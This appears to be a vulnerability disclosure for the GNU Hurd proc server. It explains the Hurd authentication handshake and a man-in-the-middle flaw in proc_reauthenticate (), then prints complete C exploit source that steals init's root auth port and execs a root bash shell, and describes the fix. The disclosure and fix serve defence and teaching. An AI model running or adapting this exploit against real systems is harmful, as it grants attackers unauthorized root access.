Short description ================= The use of authentication protocol in the proc server is vulnerable to man-in-the-middle attacks, which can be exploited for local privilege escalation to get full root access to the system.
Background: authentication ========================== Here, the word "authentication" refers not to a human user signing in to the system, but rather to a component of the system communicating and proving its authority to another component of the system. For example, to be able to open and read a file, a client process may need to convince the translator which provides the file that the client has the appropriate UIDs to be allowed to access the file. Essentially, the Hurd authentication mechanism serves to bridge the capability system of Mach with the *ambient authority* system of Unix UIDs. To make the rest of the description easier to follow, I'm going to name the involved actors, as is commonly done in literature [0]: * Alice is a client process who wishes to authenticate itself * Bob is a server process who's accepting authentication * Carol is the Hurd auth server [0]: https://en.wikipedia.org/wiki/Alice_and_Bob The Hurd represents authority as _auth handles_, which are ports to the auth server (Carol); each auth handle corresponds to a set of UIDs (and GIDs) maintained by Carol. For Alice to authenticate itself to Bob means her demonstrating (and proving) to Bob that she has an auth handle with a given set of UIDs. A straightforward way to do that would be for Alice to send her auth handle to Bob, letting Bob inspect it (by asking Carol what UIDs it represents). However, giving Bob direct access to the auth handle is completely unacceptable, because Alice may actually be more privileged than Bob: for instance, Alice may be a root-owned process who reads a file from a file system implemented by Bob, an unprivileged translator. The mere act of Alice authenticating herself should not result in Bob getting root access. So the Hurd authentication mechanism is instead designed as a three-way handshake between Alice, Bob, and Carol: 1. First, Alice and Bob "shake hands" by agreeing on a "rendezvous" port right; this port right does not have to be anything special, but the two sides need to be in agreement about what it is. The typical way this works is that Alice creates a fresh new port to serve as the rendezvous port, and initiates the authentication process by sending the rendezvous port to Bob in a foo_reauthenticate () RPC call. 2. Next, Alice "shakes hands" with Carol the auth server by sending her the rendezvous port in a auth_user_authenticate () RPC call on her auth handle. 3. Concurrently with that, upon receiving the rendezvous port from Alice, Bob also "shakes hands" with Carol by also sending her the rendezvous port in a auth_server_authenticate () RPC call. Carol matches up the two calls by the rendezvous port and returns Alice's UIDs (but not her handle!) to Bob. Provided Bob trusts Carol (as he should, since she's the trusted system auth server), he now reliably knows Alice's UIDs, but he never got access to her auth handle. Note: the role the rendezvous port plays in this is in a way similar to a single-use read-only auth handle. Background: man-in-the-middle attacks ===================================== The design described above still has a fatal flaw: the possibility of man-in-the-middle attacks. Let's imagine there's another process, Eve, who stands in between Alice and Bob; so Alice is not talking to Bob directly, but rather to Eve, while Eve is trying to impersonate Alice to Bob. (It would perhaps be more correct to name the attacker Mallory rather than Eve, but I've been thinking of her as of Eve for multiple years now, so I'll stick with that name.) Alice sends her rendezvous port to Eve in a foo_reauthenticate () RPC call. Eve, instead of sending the port to Carol the auth server in a auth_server_authenticate () call, forwards the port to Bob in her own foo_reauthenticate () call. Bob then asks Carol about this rendezvous port, and gets Alice's UIDs in response, since it's Alice (and not Eve) who passes the rendezvous port to Carol on the client side. Yet, Bob believes the UIDs to belong to Eve, since it's her who has been interacting with him. And so, Eve has now effectively stolen Alice's identity. Knowing that this could happen, Bob has to be aware that the UIDs Carol tells him about may not, in fact, belong to the client who has initiated the authentication process with him (Eve), they may instead belong to someone else (Alice) who's being man-in-the-middle-attacked. To make this work, the Hurd authentication protocol has one more feature: the _new port_ mechanism. This new port is a port right that Bob may pass back to Alice through Carol. Bob passes this new port to auth_server_authenticate (), and Alice receives it from auth_user_authenticate (). In case of a man-in-the-middle attack, it is Alice -- the actual owner of those UIDs that Bob sees -- who receives this new port, not Eve, who has been interacting with Bob and has initiated the authentication process. In other words, while Eve might be able to play a man-in-the-middle up and until the authentication, once the authentication is complete Alice and Bob will have a direct connection that doesn't go through Eve, and it's this new connection that their further communication should go through. (Exercise for the reader: if so, how is it possible that rpctrace, the ultimate man-in-the-middle eavesdropping tool, continues tracing calls on the new port after reauthentication just fine?) As a consequence of this design, after the authentication, Bob should not trust the original port -- the one foo_reauthenticate () has been called on -- any more than he had trusted it before, because the port may still belong to Eve, not Alice. Instead, Bob should trust the new port he has created and passed to Alice, because he knows that this port is actually Alice's, not Eve's. Background: uses of authentication ================================== There are two protocols that use authentication in the Hurd: the I/O protocol and the process protocol. Filesystem translators typically structure their internal data model in such a way that an io_t port refers to a "protid", that is, to a structure containing authority information and a reference to a "peropen", which in turn contains things like open flags and the current file offset, and in turn points to the actual filesystem node. Multiple peropens can be made that refer to the same file (if the file is opened multiple times). Multiple protids can be made that refer to the same peropen, differing in authority, with the io_reauthenticate () call. A port to the new protid, having the new set of UIDs, is the _new port_ passed to the authenticating client through the auth server; the old protid is not altered in any way, in full accordance with the reasoning presented above. The other place where authentication is used is processes authenticating themselves to the proc server. There can only be a single process port for one process, not multiple differently authenticated ones, so the proc server does not use the _new port_ mechanism and instead updates its idea of which UIDs the process has directly. In the case of proc_reauthenticate () it is fine that the new port mechanism is unused, since, while you generally can't trust the translators you interact with, processes trust the proc server to not play man-in-the-middle attacks against them (indeed, the process server already has their task ports and therefore complete access to anything that they have). Or in other terms, Alice the client can be sure she's talking to Bob the proc server, and not to Eve, since the connection is trusted. The issue ========= The justification presented in the above paragraph is actually insufficient. It is still possible to exploit the fact that proc_reauthenticate () updates its idea of process auth in-place instead of creating a separate new port. Even though it's true that Alice knows for sure that she's talking to Bob the proc server, Bob cannot be sure he's indeed talking to Alice (the owner of the UIDs Bob gets from Carol), not Eve. It may be the case that Alice has been authenticating to Eve for an entirely different reason -- specifically, Eve may pose as a translator, and Alice may be a client of hers -- and Eve may have forwarded Alice's rendezvous port to Bob the proc server, saying she wishes to reauthenticate her process. Since there's nothing about rendezvous ports, nor about the auth_{user,server}_authenticate () APIs, that identifies what kind of port (process, or I/O, or potentially something else) is being reauthenticated, it's entirely possible to forward a rendezvous port created for reauthenticating an I/O handle to the proc server who expects to reauthenticate a process. The exploit =========== To exploit this, we basically have to implement the Eve side of the man-in-the-middle attack against the proc server, and trick some privileged Alice into authenticating to us. To get someone privileged to authenticate to me, I went with the same exec(/bin/su) trick, which makes the root filesystem reauthenticate all of the processes file descriptors. If we place our own port among the file descriptors, we'll get a io_reauthenticate () call from the root filesystem on it, which we'll forward to the proc server, pretending to reauthenticate our process. We launch a separate thread that will call _hurd_exec_paths (), which will block until the exec is complete; we listen for messages sent to our fake file descriptor port on the main thread. Once we're done with these shenanigans, it's a good idea to close the file descriptor back, in order for it to not create more troubles for us when we _actually_ start reauthenticating our file descriptors during the setauth () call. Exploit source code =================== #include <mach/mach.h> #include <stdio.h> #include <error.h> #include <unistd.h> #include <stdlib.h> #include <pthread.h> #include <hurd.h> #include <hurd/paths.h> #include <hurd/msg.h> #include "ioServer.h" int ok_to_continue = 0; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond = PTHREAD_COND_INITIALIZER; kern_return_t S_io_reauthenticate (mach_port_t io, mach_port_t rend) { auth_t root_auth; process_t proc = getproc (); error_t err; task_t pid1_task; mach_port_t pid1_msgport; err = proc_reauthenticate (proc, rend, MACH_MSG_TYPE_MOVE_SEND); if (err) error (1, err, "proc_reauthenticate"); sleep (2); pid1_task = pid2task (1); if (!pid1_task) error (1, errno, "pid2task"); err = proc_getmsgport (proc, 1, &pid1_msgport); if (err) error (1, err, "proc_getmsgport"); err = msg_get_init_port (pid1_msgport, pid1_task, INIT_PORT_AUTH, &root_auth); if (err) error (1, err, "msg_get_init_port"); fprintf (stderr, "Got root auth port :)\n"); pthread_mutex_lock (&mutex); while (!ok_to_continue) pthread_cond_wait (&cond, &mutex); pthread_mutex_unlock (&mutex); err = setauth (root_auth); if (err) error (1, err, "setauth"); if (setresuid (0, 0, 0) < 0) error (0, errno, "setresuid"); if (setresgid (0, 0, 0) < 0) error (0, errno, "setresgid"); execl ("/bin/bash", "/bin/bash", NULL); error (1, errno, "failed to exec bash"); } mach_port_t port; void * thread_fn (void *meh) { error_t err; task_t child; file_t su; int fd; fd = openport (port, 0); su = file_name_lookup ("/bin/su", O_EXEC, 0); if (err) error (1, err, "file_name_lookup"); err = task_create (mach_task_self (), 0, &child); if (err) error (1, err, "task_create"); err = _hurd_exec_paths (child, su, "/bin/su", "bin/su", NULL, NULL); if (err) error (1, err, "_hurd_exec_paths"); close (fd); pthread_mutex_lock (&mutex); ok_to_continue = 1; pthread_mutex_unlock (&mutex); pthread_cond_signal (&cond); sleep (10000); } extern boolean_t io_server (mach_msg_header_t *inp, mach_msg_header_t *outp); int main () { error_t err; pthread_t thread; port = mach_reply_port (); err = mach_port_insert_right (mach_task_self (), port, port, MACH_MSG_TYPE_MAKE_SEND); if (err) error (1, err, "mach_port_insert_right"); err = pthread_create (&thread, NULL, thread_fn, NULL); if (err) error (1, err, "pthread_create"); mach_msg_server (io_server, 1024, port); } Notes ===== To build the exploit from source, you'll need to generate ioServer.c and ioServer.h using MIG. A condition variable is probably an overkill for closing a file descriptor, but the exploit does not aspire to be optimal in any way, it just needs to successfully give me a root shell :) Amusingly enough, authenticating to the proc server could instead be done as simply as routine proc_reauthenticate ( process: process_t; auth: auth_t); i.e. by simply sending an auth handle to the proc server, since, again, we know for sure that the process server won't try to steal our auth, and it has no need to. This would avoid *so* much of all these complications. Also, I believe that it would, in theory, be possible to rearchitecture the proc server to support multiple differently authenticated ports to the same process (like protids in translators), while keeping calls like proc_pid2proc () and proc_task2proc () working in a somewhat reasonable way. But I'm not at all convinced that attempting this would be a good idea. How we fixed the vulnerability ============================== Conceptually, we want to make sure that Alice is indeed reauthenticating her process, and not authenticating for some other reason. If she is, we know for sure that she's talking to the proc server directly and there's no Eve to worry about. To this end, we've made two changes: * proc_reauthenticate () now creates a new port for the process and sends it to Alice via the new port mechanism. The old port is destroyed. * There's a new RPC, proc_reauthenticate_complete (), which Alice has to call after receiving the new process port. This is how she confirms that she is indeed reauthenticating her process. Only recreating the process port would not be enough. This is because, even though the new port is reliably sent to Alice and not Eve, Eve would still be able to get the new port. To do this, she would only need some other process handle, on which she'd call proc_task2proc () passing her task port. In the actual design, Eve wouldn't be able to access the new port this way, because no changes to the process port or credentials are committed until and unless the proc_reauthenticate_complete () call is received on the new port.